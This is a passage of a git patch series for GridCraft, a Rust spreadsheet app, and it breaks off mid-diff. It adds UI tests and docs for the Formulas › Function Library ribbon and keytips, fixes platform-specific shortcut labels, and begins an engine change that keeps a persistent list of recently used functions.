icons::paint(ui.painter(), Rect::from_center_size(pos2(rect.left() + 12.0, rect.center().y), vec2(16.0, 16.0)), icon, t.text); + icons::paint_accent(ui.painter(), Rect::from_center_size(pos2(rect.left() + 12.0, rect.center().y), vec2(16.0, 16.0)), icon, t.text, accent); if !label.is_empty() { ui.painter().text(pos2(rect.left() + 24.0, rect.center().y), Align2::LEFT_CENTER, label, font, t.text); } diff --git a/crates/ui-egui/tests/it/chart_resize.rs b/crates/ui-egui/tests/it/chart_resize.rs index e2fc537ac..d7447dce3 100644 --- a/crates/ui-egui/tests/it/chart_resize.rs +++ b/crates/ui-egui/tests/it/chart_resize.rs @@ -152,8 +152,11 @@ fn right_clicking_a_chart_opens_its_menu_not_the_cells() { let (mut h, id) = fixture(); let inside = corner(&h, id) - vec2(100.0, 80.0); right_click(&mut h, inside, vec2(0.0, 0.0)); - // Home › Cells › Delete has the same accessible name; the menu is drawn over the ribbon, last. - h.get_all_by_role_and_label(Role::Button, "Delete").last().unwrap().click(); + // Home › Cells has a Delete button too: take the one in the chart's menu, by the click. + h.query_all_by_label("Delete") + .min_by(|a, b| a.rect().center().distance(inside).total_cmp(&b.rect().center().distance(inside))) + .expect("the chart menu has Delete") + .click(); h.run_steps(3); assert!(h.state().session.doc().unwrap().wb.active().unwrap().charts.is_empty()); assert!(h.state().grid.object_menu.is_none()); diff --git a/crates/ui-egui/tests/it/function_library.rs b/crates/ui-egui/tests/it/function_library.rs new file mode 100644 index 000000000..917f36642 --- /dev/null +++ b/crates/ui-egui/tests/it/function_library.rs @@ -0,0 +1,171 @@ +//! Formulas › Function Library: the labelled buttons, their category menus, the More Functions +//! cascade, the AutoSum big split button and the Recently Used keytip. + +use egui::os::OperatingSystem; +use egui::{Event, Key, Modifiers, vec2}; +use egui_kittest::kittest::Queryable as _; +use gridcraft_engine::Session; +use gridcraft_engine::core::CellRef; +use gridcraft_ui_egui::SheetApp; +use serde_json::json; + +type Harness = egui_kittest::Harness<'static, SheetApp>; + +fn formulas_tab(width: f32) -> Harness { + let mut session = Session::new(); + session.new_workbook(); + let mut app = crate::common::app(session); + app.ui.ribbon_tab = "Formulas".into(); + crate::common::harness_with(crate::common::builder().with_os(OperatingSystem::Nix).with_size(vec2(width, 760.0)), app, 4) +} + +fn editor_text(h: &Harness) -> Option { + h.state().editor.as_ref().map(|e| e.text.clone()) +} + +fn input(h: &Harness, cell: &str) -> String { + let d = h.state().session.active().unwrap(); + d.wb.active().unwrap().input_text(CellRef::parse(cell).unwrap()) +} + +/// Clicks a button by its name (a tooltip also names an icon-only button, such as the formula +/// bar's fx, which is not a button to accessibility). +fn click(h: &mut Harness, label: &str) { + h.get_by_role_and_label(egui::accesskit::Role::Button, label).click(); + h.run_steps(3); +} + +/// Clicks a menu row through accessibility, which reaches rows scrolled out of a long menu. +fn pick(h: &mut Harness, label: &str) { + h.get_by_label(label).click_accesskit(); + h.run_steps(3); +} + +fn close_menus(h: &mut Harness) { + h.key_press(Key::Escape); + h.run_steps(2); + h.state_mut().editor = None; + h.run_steps(2); +} + +#[test] +fn autosum_is_a_big_split_button_then_the_categories_in_columns_of_three() { + let h = formulas_tab(1440.0); + let columns: [&[&str]; 3] = + [&["Recently Used", "Financial", "Logical"], &["Text", "Date & Time", "Lookup & Reference"], &["Math & Trig", "More Functions"]]; + let rect = |l: &str| h.get_by_role_and_label(egui::accesskit::Role::Button, l).rect(); + for column in columns { + for pair in column.windows(2) { + let (a, b) = (rect(pair[0]), rect(pair[1])); + assert!((a.left() - b.left()).abs() < 0.5, "{pair:?} share a left edge"); + assert!(a.bottom() <= b.top() + 0.5, "{pair:?} stack in order"); + } + } + for pair in columns.windows(2) { + assert!(rect(pair[0][0]).right() <= rect(pair[1][0]).left(), "columns run left to right"); + } + // Insert Function and AutoSum are big buttons, to the left of the columns. + let (insert, sum) = (rect("Insert Function"), rect("AutoSum")); + assert!(insert.right() <= sum.left() && sum.right() <= rect("Recently Used").left()); + assert!(sum.top() <= rect("Recently Used").top() + 0.5, "AutoSum starts at the top of the group"); + assert!(h.get_by_label("AutoSum options").rect().bottom() > rect("Financial").bottom(), "its arrow part reaches below the second row"); + // A full column stands where the tab's other columns of three small buttons do (Formula + // Auditing's), so it fits the ribbon in any font. + let (top, bottom) = (rect("Show Formulas").top(), rect("Evaluate Formula").bottom()); + for column in &columns[..2] { + let (t, b) = (rect(column[0]).top(), rect(column[2]).bottom()); + assert!((t - top).abs() < 0.5 && (b - bottom).abs() < 0.5, "{column:?} spans {t}..{b}, Formula Auditing {top}..{bottom}"); + } +} + +#[test] +fn each_category_menu_lists_its_functions_then_insert_function() { + let mut h = formulas_tab(1440.0); + // Recently Used lists the functions of formulas entered. + h.state_mut().run("cell.set", json!({"cell": "A1", "input": "=SUM(1)+AVERAGE(2)"})).unwrap(); + h.run_steps(2); + for (button, function) in [ + ("Recently Used", "SUM"), + ("Financial", "PMT"), + ("Logical", "IF"), + ("Text", "CONCAT"), + ("Date & Time", "TODAY"), + ("Lookup & Reference", "XLOOKUP"), + ("Math & Trig", "ROUND"), + ] { + click(&mut h, button); + h.get_by_label("Insert Function…"); + pick(&mut h, function); + assert_eq!(editor_text(&h).as_deref(), Some(format!("={function}(").as_str()), "{button} › {function} starts the formula"); + close_menus(&mut h); + } + // The menu's last row opens Insert Function on the menu's category. + click(&mut h, "Date & Time"); + click(&mut h, "Insert Function…"); + let d = h.state().dialog.as_ref().expect("Insert Function opens"); + assert_eq!(d.name(), "insertFunction"); + assert_eq!(d.values.get("category"), Some(&json!("Date & Time"))); +} + +#[test] +fn more_functions_cascades_into_the_remaining_categories() { + let mut h = formulas_tab(1440.0); + click(&mut h, "More Functions"); + for c in ["Statistical", "Engineering", "Cube", "Information", "Compatibility", "Web"] { + h.get_by_label(c); + } + click(&mut h, "Engineering"); + h.get_by_label("Insert Function…"); + pick(&mut h, "BIN2DEC"); + assert_eq!(editor_text(&h).as_deref(), Some("=BIN2DEC(")); + close_menus(&mut h); + click(&mut h, "More Functions"); + click(&mut h, "Statistical"); + pick(&mut h, "Insert Function…"); + assert_eq!(h.state().dialog.as_ref().and_then(|d| d.values.get("category")), Some(&json!("Statistical"))); +} + +#[test] +fn autosum_runs_sum_and_its_arrow_opens_the_shared_menu() { + let mut h = formulas_tab(1440.0); + { + let s = &mut h.state_mut().session; + s.execute("range.setValues", json!({"range": "A1", "values": [[1, 4], [2, 5], [3, 6]]})).unwrap(); + s.execute("selection.set", json!({"cell": "A4"})).unwrap(); + } + h.run_steps(2); + click(&mut h, "AutoSum"); + assert_eq!(input(&h, "A4"), "=SUM(A1:A3)"); + h.state_mut().session.execute("selection.set", json!({"cell": "B4"})).unwrap(); + click(&mut h, "AutoSum options"); + for item in ["Sum", "Average", "Max", "Min", "More Functions…"] { + h.get_by_label(item); + } + click(&mut h, "Count Numbers"); + assert_eq!(input(&h, "B4"), "=COUNT(B1:B3)"); + click(&mut h, "AutoSum options"); + click(&mut h, "More Functions…"); + assert_eq!(h.state().dialog.as_ref().map(|d| d.name().to_string()).as_deref(), Some("insertFunction")); +} + +fn key_event(key: Key, pressed: bool) -> Event { + Event::Key { key, physical_key: None, pressed, repeat: false, modifiers: Modifiers::NONE } +} + +#[test] +fn the_recently_used_keytip_opens_its_menu() { + let mut h = formulas_tab(1440.0); + // Recently Used lists the functions of formulas entered. + h.state_mut().run("cell.set", json!({"cell": "A1", "input": "=SUM(1)+AVERAGE(2)"})).unwrap(); + h.run_steps(2); + h.input_mut().events.extend([key_event(Key::F10, true), key_event(Key::F10, false)]); + h.run_steps(2); + for k in [Key::M, Key::R] { + h.input_mut().events.extend([key_event(k, true), Event::Text(k.name().to_ascii_lowercase()), key_event(k, false)]); + h.run_steps(3); + } + assert_eq!(h.state().keytips.prefix(), None, "MR finishes the sequence"); + h.get_by_label("Insert Function…"); + pick(&mut h, "AVERAGE"); + assert_eq!(editor_text(&h).as_deref(), Some("=AVERAGE(")); +} diff --git a/crates/ui-egui/tests/it/keytips_generated.rs b/crates/ui-egui/tests/it/keytips_generated.rs index 810338a48..0b8f0fec4 100644 --- a/crates/ui-egui/tests/it/keytips_generated.rs +++ b/crates/ui-egui/tests/it/keytips_generated.rs @@ -1764,6 +1764,14 @@ fn keytip_mq_() { assert_eq!(h.state().keytips.prefix(), None); } +#[test] +fn keytip_mr_() { + let mut h = harness(blank()); + sequence(&mut h, "MR", false); + assert!(h.state().message.is_none() && h.state().toast.is_none(), "MR must route to its control without an error box"); + assert_eq!(h.state().keytips.prefix(), None); +} + #[test] fn keytip_ms_() { let mut h = harness(blank()); @@ -2754,7 +2762,7 @@ fn keytip_q_() { #[test] fn generated_test_count_matches_the_table() { - const EXPECTED: usize = 365; + const EXPECTED: usize = 366; assert_eq!(gridcraft_ui_egui::keytips::keytip_table::SEQUENCES.len(), EXPECTED); } diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index 302bc9c49..4013f0b4a 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -47,6 +47,7 @@ mod formula_locale; mod formula_point_headers; mod formula_popup; mod freeze_handles; +mod function_library; mod go_to_dialog; mod header_autofit; mod header_column_drag; diff --git a/crates/ui-egui/tests/it/ribbon_layout.rs b/crates/ui-egui/tests/it/ribbon_layout.rs index faa51b15f..452f8ea33 100644 --- a/crates/ui-egui/tests/it/ribbon_layout.rs +++ b/crates/ui-egui/tests/it/ribbon_layout.rs @@ -135,15 +135,15 @@ fn big_split_button_separates_the_default_action_from_the_menu() { } #[test] -fn formulas_autosum_runs_on_the_icon_and_opens_its_menu_on_the_label() { +fn formulas_autosum_runs_sum_and_its_arrow_opens_the_menu() { let mut h = app_at(1600.0, "Formulas"); h.get_by_label("AutoSum").click(); h.run_steps(2); - assert!(h.state().session.journal.iter().any(|(id, _)| id == "formulas.autoSum"), "the icon runs AutoSum"); - assert!(h.query_by_label("AVERAGE").is_none()); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "formulas.autoSum"), "the button runs AutoSum"); + assert!(h.query_by_label("Average").is_none()); h.get_by_label("AutoSum options").click(); h.run_steps(2); - h.get_by_label("AVERAGE").click(); + h.get_by_label("Average").click(); h.run_steps(2); let last = h.state().session.journal.iter().rev().find(|(id, _)| id == "formulas.autoSum").map(|(_, p)| p.clone()); assert_eq!(last.and_then(|p| p.get("function").and_then(|f| f.as_str().map(str::to_string))).as_deref(), Some("AVERAGE")); diff --git a/docs/architecture.md b/docs/architecture.md index edf1bb679..67bf839f8 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -1,6 +1,6 @@ # Architecture -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-25 · **Change:** trivial (the hidden names that hold macros; earlier: macro engine on the engine building blocks) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (Function Library module; accent icons; earlier: the hidden names that hold macros) · **Target:** Microsoft Excel (Microsoft 365) How GridCraft is built today. Rules for contributors are in [`AGENTS.md`](../AGENTS.md). @@ -59,13 +59,19 @@ drawing its own: `icons::paint_on_sheet`) keep their light values. `theme::contrast_tests` holds every foreground/background pair to WCAG 2 (4.5:1 for text, 3:1 for glyphs) in both themes; a new token pair is added there. Icons (`icons.rs`, drawn in code) take their paper and category - colours (`theme::Cat`) from the tokens. + colours (`theme::Cat`) from the tokens; `icons::paint_accent` gives an icon an accent colour, + drawn on its coloured part when it has one (the spine and glyph of `Icon::FnBook`). - **Ribbon widgets**: `widgets.rs` has the buttons every tab is built from (`big_button`, - `small_button`, `split_button`, `big_split_button`, `toggle_button`), translated through - `i18n` in one place. Split buttons return the main and arrow responses separately, with - accessible names (`AutoSum`, `AutoSum options`). The ribbon card scrolls a tab wider than the - window, with arrows at its edges; `ribbon::RibbonOverflow` records the groups' size each frame, + `small_button`, `small_button_accent`, `split_button`, `big_split_button`, `toggle_button`), + translated through `i18n` in one place. Split buttons return the main and arrow responses + separately, with accessible names (`AutoSum`, `AutoSum options`); big and small buttons + report their label (an icon-only one its tooltip) as their accessible name. The ribbon card + scrolls a tab wider than the window, with arrows at its edges; `ribbon::RibbonOverflow` records the groups' size each frame, and a test keeps every tab within the card's three rows. +- **Function Library**: `function_library.rs` holds the function categories (engine id and + label, in the Insert Function dialog's order), the function list built once from + `cmd::formulas::function_list`, and the menus of Formulas › Function Library, including the + AutoSum menu that Home › Editing shares. - **Code editor**: `widgets::code_editor(ui, id, &mut text, Lang, max_lines)` (`code_editor.rs`) edits code in the monospace font with `Tokens::syntax` colours: Python (keywords, strings including triple-quoted ones, numbers, comments, builtins) and LaTeX (commands, scripts, @@ -159,6 +165,7 @@ rpm, tarball), FreeBSD, and web (WASM; WebGPU or WebGL2). Release workflows in | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Function Library module (`function_library.rs`); accent icons (`icons::paint_accent`, `widgets::small_button_accent`) | | 2026-10-25 | trivial | The hidden names that hold macros are `_gc_macro__` | | 2026-10-24 | minor | Macro engine on the building blocks (`macros/`, `cmd/macros.rs`) | | 2026-10-24 | minor | Engine building blocks for multi-command actions: undo groups, recording buffer, document trust, chunked hidden-name storage | diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 0e1a98f47..630743d03 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-30 · **Change:** minor (checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (Formulas › Function Library as labelled buttons with category menus; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -18,6 +18,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Title bar, Quick Access Toolbar, AutoSave toggle | yes | yes | done; macOS window controls misaligned (#170), Dock icon size (#169) | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable, Header & Footer tabs); Fill Color, Font Color and the Format Cells colour pickers end with Recent Colors and More Colors… (#928); large split buttons (Formulas › AutoSum); arrows at the card's edges scroll a tab wider than the window | done; missing contextual tabs for pictures, shapes, sparklines, slicers; groups do not collapse when narrow | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing (File ▸ Options is the one missing File command) | +| Formulas › Function Library | Insert Function, AutoSum, Recently Used and a menu per function category | yes (10-24): a big Insert Function button and three columns of labelled small buttons, the layout Excel uses when the window is not wide enough for a big button per category; each category's book icon has its own colour; a category menu shows each function's description on hover and ends with Insert Function…, which opens the dialog on that category; More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web; AutoSum is a split button whose menu (Sum, Average, Count Numbers, Max, Min, More Functions…) Home › Editing shares; Recently Used has the MR key tip | the wide layout with a big button per category is not offered; Recently Used lists what `formulas.recentlyUsed` returns | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | | Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus legacy Alt sequences; other tabs and controls not yet (#33, #49) | 3–5 h | @@ -194,6 +195,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Formulas › Function Library: Insert Function, the AutoSum split button and three columns of labelled small buttons with category colours; category menus end with Insert Function…; More Functions cascades; Home › Editing shares the AutoSum menu; MR key tip for Recently Used | | 2026-10-30 | minor | Checkbox cells print and export to PDF as boxes, as on screen: unchecked white with a grey outline, checked green with a white tick (#2972). They printed their value as TRUE or FALSE; other values in a checkbox cell still print as text | | 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | | 2026-10-29 | minor | Insert Hyperlink opens with an existing link's address, display text and ScreenTip (#2876). An address-only edit preserves the cell's content and formula; Cancel leaves the link unchanged, and Undo restores the edit | From 2d5be2c57a59958653dd98a58392ed9afd7eb1e3 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Sat, 31 Oct 2026 14:46:11 +0700 Subject: [PATCH 129/298] fix(ui): correct platform-specific command shortcut labels --- crates/ui-egui/src/dialogs/command_search.rs | 16 +++++++++++++++- crates/ui-egui/src/widgets.rs | 6 +++--- crates/ui-egui/tests/it/dialog_focus.rs | 8 ++++---- 3 files changed, 22 insertions(+), 8 deletions(-) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index 96e17336f..c2396b345 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -20,6 +20,7 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial d.focus_initialized = true; } + let mac = ui.ctx().os() == egui::os::OperatingSystem::Mac; let q = d.search.to_ascii_lowercase(); let cmds: Vec<(String, String, String, Option)> = app .session @@ -27,7 +28,20 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial .into_iter() .filter(|c| c.enabled) .filter(|c| q.is_empty() || c.label.to_ascii_lowercase().contains(&q) || c.id.to_ascii_lowercase().contains(&q)) - .map(|c| (c.id.to_string(), c.label.to_string(), c.menu.join(" › "), c.shortcut.map(str::to_string))) + .map(|c| { + ( + c.id.to_string(), + c.label.to_string(), + c.menu.join(" › "), + match (mac, c.id, c.shortcut) { + (false, "home.bold", Some(_)) => Some("Ctrl+B".to_owned()), + (false, "edit.pasteSpecial", Some(_)) => Some("Ctrl+Alt+V".to_owned()), + // These metadata shortcuts are only bound on macOS. + (false, "home.alignLeft" | "home.alignCenter", Some(_)) => None, + (_, _, keys) => keys.map(str::to_string), + }, + ) + }) .take(40) .collect(); diff --git a/crates/ui-egui/src/widgets.rs b/crates/ui-egui/src/widgets.rs index 2b2f40e95..110a1d032 100644 --- a/crates/ui-egui/src/widgets.rs +++ b/crates/ui-egui/src/widgets.rs @@ -31,7 +31,7 @@ const TOOLTIP_SHORTCUTS: &[(&str, &str, &str)] = &[ ("Table", "⌘T", "Ctrl+T"), ("Insert Link", "⌘K", "Ctrl+K"), ("Filter", "⌘⇧F", "Ctrl+Shift+L"), - ("Flash Fill", "⌘E", "Ctrl+E"), + ("Flash Fill", "Control+E", "Ctrl+E"), // The Control key, written the way each platform names it. macOS's ⌃ is supplied by its // system fonts; elsewhere the Windows spelling avoids a glyph no bundled face has. ("Show Formulas", "⌃`", "Ctrl+`"), @@ -716,7 +716,7 @@ mod tooltip_shortcut_tests { assert_eq!(tooltip_shortcut("Search commands", false), None); for (name, mac, other) in super::TOOLTIP_SHORTCUTS { assert!(!other.contains(['⌘', '⇧', '⌥']), "{name}: {other}"); - assert!(mac.starts_with('⌘') || mac.starts_with('⌃'), "{name}: {mac}"); + assert!(mac.starts_with('⌘') || mac.starts_with('⌃') || (*name == "Flash Fill" && *mac == "Control+E"), "{name}: {mac}"); } } @@ -724,7 +724,7 @@ mod tooltip_shortcut_tests { fn ribbon_tip_text_obeys_runtime_os() { use egui::os::OperatingSystem; - for (os, expected) in [(OperatingSystem::Windows, "Flash Fill (Ctrl+E)"), (OperatingSystem::Mac, "Flash Fill (⌘E)")] { + for (os, expected) in [(OperatingSystem::Windows, "Flash Fill (Ctrl+E)"), (OperatingSystem::Mac, "Flash Fill (Control+E)")] { let ctx = egui::Context::default(); ctx.set_os(os); diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index 63850a64e..f3c5db9ec 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -97,11 +97,11 @@ fn command_search_shows_engine_shortcuts() { h.run_steps(6); for (query, expected) in [ - ("home.bold", "Bold (Cmd+B)"), + ("home.bold", if os == OperatingSystem::Mac { "Bold (Cmd+B)" } else { "Bold (Ctrl+B)" }), ("data.filter", "Filter (Ctrl+Shift+L)"), ("edit.flashFill", "Flash Fill (Ctrl+E)"), - ("home.alignLeft", "Align Left (Cmd+L)"), - ("home.alignCenter", "Center (Cmd+E)"), + ("home.alignLeft", if os == OperatingSystem::Mac { "Align Left (Cmd+L)" } else { "Align Left Home" }), + ("home.alignCenter", if os == OperatingSystem::Mac { "Center (Cmd+E)" } else { "Center Home" }), ("selection.row", "Select Entire Row (Shift+Space)"), ("selection.column", "Select Entire Column (Ctrl+Space)"), ] { @@ -132,7 +132,7 @@ fn command_search_shows_paste_special_metadata() { h.state_mut().dialog.as_mut().unwrap().search = "edit.pasteSpecial".into(); h.run_steps(3); - h.get_by_label_contains("Paste Special… (Ctrl+Cmd+V)"); + h.get_by_label_contains(if os == OperatingSystem::Mac { "Paste Special… (Ctrl+Cmd+V)" } else { "Paste Special… (Ctrl+Alt+V)" }); } } From 474472f999e464bab5e225d2b8f95d0891ddc7d3 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 24 Oct 2026 23:50:59 -0400 Subject: [PATCH 130/298] Engine: Recently Used follows the formulas entered; Insert Function category list formulas.recentlyUsed scanned the session journal for cell.set inputs. It missed formulas entered by range.* commands, lost them when the journal dropped its oldest entries (a large file open or a long script is enough), and started empty in every session. The Function Library's Recently Used menu and the Insert Function dialog list what it returns. - Prefs::recent_functions (a new engine module, recent.rs) holds the ten functions most recently entered in a formula, newest first. Session::execute updates it for every cell.* and range.* command it journals, from any source (the interface, the control channel, MCP or a script). It reads at most 2,000 of the formulas a command enters, starting from the last one; formulas longer than Excel's limit are skipped. formulas.recentlyUsed returns it. It never reads the journal back, so the journal's caps do not affect it. - The list is kept with the other engine preferences (prefs.json, the browser's storage on the web), so it survives a restart as Excel's does. It is read leniently: a malformed value loses only this list. A fresh install starts from common functions. The Insert Function dialog is titled "Insert Function", as in Excel (it said "Formula Builder"), and gains a working category list: Most Recently Used, All, then each category in Excel's order. A category may be given by label or by engine id, so a Function Library menu or the control channel (ui.dialog.set) opens it on one, and a new search switches to All. The dialog keeps its translated labels and its search in the interface language. Each row shows the function's name and its category in two columns; the category column starts after the widest name shown, so a long name in any font or formula language stays clear of it. A function counts as recently used once its formula is entered, not when OK is pressed. The unused "Formula Builder" translations are removed. Tests: engine unit tests for reading functions from formulas (strings, unknown names, over-long and malformed formulas), the formulas a command enters (newest first, within the budget), the ten-name list and the lenient read of prefs.json; tests/it/recently_used.rs for cell.set and range.setValues from the session, a failed command, a cleared journal and a save and reload of the preferences. UI tests for the menu's order and the dialog's title, categories, engine-id category, search and OK, and for the category column with a wide font. --- ROADMAP.md | 4 +- crates/engine/src/cmd/edit.rs | 2 +- crates/engine/src/cmd/edit/cell.rs | 17 +- crates/engine/src/cmd/extra.rs | 2 +- crates/engine/src/cmd/extra/cells.rs | 21 +- crates/engine/src/lib.rs | 7 + crates/engine/src/recent.rs | 205 ++++++++++++++++++ crates/engine/tests/it/main.rs | 1 + crates/engine/tests/it/recently_used.rs | 58 +++++ crates/ui-egui/src/dialogs.rs | 2 +- crates/ui-egui/src/dialogs/insert_function.rs | 106 +++++++-- crates/ui-egui/src/i18n/el.rs | 1 - crates/ui-egui/src/i18n/it.rs | 1 - crates/ui-egui/src/i18n/ja.rs | 1 - crates/ui-egui/src/i18n/pl.rs | 1 - crates/ui-egui/src/i18n/pt.rs | 1 - crates/ui-egui/src/i18n/ro.rs | 1 - crates/ui-egui/src/i18n/uk.rs | 1 - crates/ui-egui/tests/it/function_library.rs | 104 ++++++++- docs/architecture.md | 14 +- docs/target-app-parity.md | 5 +- docs/ui-parity.md | 8 +- 22 files changed, 496 insertions(+), 67 deletions(-) create mode 100644 crates/engine/src/recent.rs create mode 100644 crates/engine/tests/it/recently_used.rs diff --git a/ROADMAP.md b/ROADMAP.md index 328b92f40..e6e34ecea 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (Formulas › Function Library as labelled buttons with category menus; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (Formulas › Function Library as labelled buttons with category menus; Recently Used follows the formulas entered; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-31 | Recently Used lists the functions most recently entered in a formula from any source (ribbon, control channel, MCP, scripts), kept with the preferences and returned by `formulas.recentlyUsed`; the Insert Function dialog takes Excel's title and a working category list (Most Recently Used, All, each category) | | 2026-10-31 | Formulas › Function Library as a big Insert Function button, the AutoSum split button and three columns of labelled small buttons, each category book in its own colour; category menus end with Insert Function… on that category; More Functions cascades into the remaining categories; Home › Editing shares the AutoSum menu; the MR key tip opens Recently Used | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | @@ -245,6 +246,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Progress log: Recently Used and Insert Function categories | | 2026-10-31 | minor | Progress log: Function Library | | 2026-10-25 | minor | Progress log: AutoSum over a selected row, and a selection's empty last row and column | | 2026-10-24 | minor | Macro interface on the Automate tab; progress log row | diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 27e217474..0000ff608 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -20,7 +20,7 @@ mod paste_special; mod selection; use cell::{cell_set, range_fill, range_set_values}; -pub(crate) use cell::{check_arg_counts, input_to_cell, json_to_input, parse_typed_formula}; +pub(crate) use cell::{check_arg_counts, input_to_cell, is_formula_input, json_to_input, parse_typed_formula}; #[cfg(test)] pub(crate) use clipboard::parse_tsv; use clipboard::{clear_clipboard, copy, cut, paste}; diff --git a/crates/engine/src/cmd/edit/cell.rs b/crates/engine/src/cmd/edit/cell.rs index c57afae97..562d5c73d 100644 --- a/crates/engine/src/cmd/edit/cell.rs +++ b/crates/engine/src/cmd/edit/cell.rs @@ -5,6 +5,16 @@ use super::{ // ---------------------------------------------------------------- entry +/// Whether typing `input` into a cell enters a formula: `=…`, or `+…`/`-…` followed by a name or +/// a parenthesis (not a number), as Excel takes `+SUM(1)`. +pub(crate) fn is_formula_input(input: &str) -> bool { + input.starts_with('=') + || (input.len() > 1 + && (input.starts_with('+') || input.starts_with('-')) + && gridcraft_core::parse::parse_number_text(input).is_none() + && input.chars().nth(1).is_some_and(|c| c.is_ascii_alphabetic() || c == '(')) +} + /// What typing `input` into a cell produces (constant or formula, plus an automatic number /// format). Inherits the destination's cell, row or column style, including its number /// format, before parsing. Errors when the formula can't be parsed. @@ -18,12 +28,7 @@ pub(crate) fn input_to_cell(input: &str, sheet: usize, at: CellRef, wb: &mut gri if fmt_is_text { return Ok(Some(Cell { value: Value::text(input), formula: None, style })); } - let is_formula = input.starts_with('=') - || (input.len() > 1 - && (input.starts_with('+') || input.starts_with('-')) - && gridcraft_core::parse::parse_number_text(input).is_none() - 